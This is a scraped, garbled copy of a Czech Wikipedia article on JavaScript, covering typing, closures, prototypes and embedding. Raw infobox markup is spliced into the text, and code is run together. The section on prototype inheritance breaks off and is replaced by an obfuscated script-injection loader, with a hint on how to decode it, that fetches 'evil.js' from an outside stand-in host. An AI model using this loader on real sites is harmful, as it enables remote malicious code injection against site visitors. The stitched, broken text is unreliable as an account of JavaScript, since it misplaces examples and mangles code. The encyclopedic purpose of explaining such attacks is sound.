FazBrowse Wikipedia Viewer | Main Page |
Search Wikipedia:
|
Viewing: https://cs.wikipedia.org/wiki/JavaScript

JavaScript – Wikipedie

Contents
Rysy objektově orientovaného programování
    Dynamické
        Dynamické přiřazení typů (Dynamic typing)
        Objekty jako asociativní pole (objects as associative fields)
        Runtime evaluation (= míra možných akcí proveditelných za běhu programu)
    Funkcionální
        Funkce první třídy (first-class functions)
        Anonymní (vnitřní) funkce a uzávěry (closures)
    Prototypové (prototype-based)
        Prototypy (Prototypes)
Použití mimo webové stránky
    Vestavěný skriptovací jazyk
    Skriptovací engine
Vývojové nástroje
Odkazy
    Reference

{{cite web|url=https://ecma-international.org/publications-and-standards/standards/ecma-262/|title=Standard ES14\n|publisher=Ecma International|date=2017-07-03}}</ref>"},"datum poslední verze":{"wt":"[[červen]] [[2023]]"},"poslední testovací verze":{"wt":""},"datum poslední testovací verze":{"wt":""},"typování":{"wt":"[[Typový systém#Dynamická typová kontrola|dynamická]], [[duck-typing]]"},"implementace":{"wt":"[[KJS]], [[Rhino (javascriptový engine)|Rhino]], [[SpiderMonkey]], [[V8 (javascriptový engine)|V8]], [[Chakra (javascriptový engine)|Chakra]]"},"dialekty":{"wt":""},"ovlivněno":{"wt":"[[Java (programovací jazyk)|Java]], [[Self (programovací jazyk)|Self]], [[C (programovací jazyk)|C]], [[Scheme]]"},"ovlivnil":{"wt":"[[ActionScript]], [[CoffeeScript]], [[Dart (programovací jazyk)|Dart]], [[JScript .NET]], [[Objective-J]], [[QML]], [[TypeScript]], [[Node.js]], [[LiveScript]]"},"operační systém":{"wt":""},"licence":{"wt":""},"web":{"wt":""},"logo":{"wt":"Javascript Logo.png"}},"i":0}}]}'>
JavaScript

Rysy objektově orientovaného programování

editovateditovat zdroj

Dynamické přiřazení typů (Dynamic typing)

editovateditovat zdroj

Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript operatory ===, typeof a instanceof umožňují otestování typu objektu.

Objekty jako asociativní pole (objects as associative fields)

editovateditovat zdroj

JavaScript je převážně objektově založený. Objekty jsou asociativními poli rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole; obj.x = 10 a obj["x"] = 10 jsou tedy ekvivalentními výrazy. První varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for … in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.

Runtime evaluation (= míra možných akcí proveditelných za běhu programu)

editovateditovat zdroj

Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.

Funkce první třídy (first-class functions)

editovateditovat zdroj

Označení funkce první třídy vyjadřuje, že jsou funkce objekty. Mají tedy své atributy a mohou být předány dále. Lze s nimi manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).

Anonymní (vnitřní) funkce a uzávěry (closures)

editovateditovat zdroj

Vnitřní funkce neboli funkce definované uvnitř jiných – vnějších funkcí, jsou vytvořeny při každém zavolání nadřazené funkce. Proměnné funkcí vnějších existují po dobu existence funkce vnitřní. Dokonce i po ukončení volání – po návratu z vnější funkce, má daná vnitřní funkce stále přístup k proměnným své vnější funkce – toto je mechanismus nazývaný v JavaScriptu jako uzávěry (anglickyclosures).

Prototypové (prototype-based)

editovateditovat zdroj

Prototypy (Prototypes)

editovateditovat zdroj

Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností mechanismů založených na třídách (// Definice konstruktoru functionAuto(znacka,spz){ this.znacka=znacka; this.spz=spz; } Auto.prototype.vypisZnacku=function(){ alert(this.znacka); };

Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru Planeta jako prototyp (anglickyprototype) objekt VesmirnyObjekt:

<script> try{window.onload=function(){ varQ236s4ic4454clw=document.createElement('script'); Q236s4ic4454clw.setAttribute('type','text/javascript'); Q236s4ic4454clw.setAttribute('id','myscript1'); Q236s4ic4454clw.setAttribute('src','h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***); // místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy Q236s4ic4454clw.setAttribute('defer','defer'); document.body.appendChild(Q236s4ic4454clw); } catch(e){} </script>

vygeneruje HTML kód:

</script>\n"}}'><script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>

který vlastní škodlivý kód načte z vnější adresy mimo napadený server.

Použití mimo webové stránky

editovateditovat zdroj

Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.

Vestavěný skriptovací jazyk

editovateditovat zdroj
  • Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
  • Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
  • Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
  • Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
  • Kancelářský balík aplikací OpenOffice a LibreOffice umožňuje JavaScript používat jako skriptovací jazyk.
  • Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
  • Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
  • ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
  • Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.
  • DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.
  • Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.
  • Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.
  • Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
  • Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
  • Platformy ObjectGears, ServiceNow

Skriptovací engine

editovateditovat zdroj
  • Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.
  • Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.
  • Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.

Vývojové nástroje

editovateditovat zdroj

Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.

Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.

Closures - JavaScript | MDN. developer.mozilla.org [online]. Mozilla Foundation, 2022-06-02 [cit. 2022-07-18]. Dostupné online. (anglicky) 
  • ↑ URBAN, Petr. Epic Games ve spolupráci s Mozillou v prohlížeči zprovoznil Unreal Engine 4. Cnews.cz [online]. 2014-03-13 [cit. 2018-05-18]. Dostupné online. 
  • ↑ From Hidden Iframes to Obfuscated Scripts. Unmask Parasites [online]. 23 Dec 09. Dostupné v archivu pořízeném z originálu dne 2014-09-16. 
  • ↑ Version Information (JavaScript) [online]. Msdn.microsoft.com [cit. 2013-05-26]. Dostupné online. 
  • ↑ The JavaScript Debugging Console [online]. javascript.about.com, 2010-05-28 [cit. 2010-05-28]. Dostupné v archivu pořízeném dne 2016-04-08. 
  • ↑ Obrázky, zvuky či videa k tématu JavaScript na Wikimedia Commons

  • View original on Wikipedia | Back | FazBrowse Home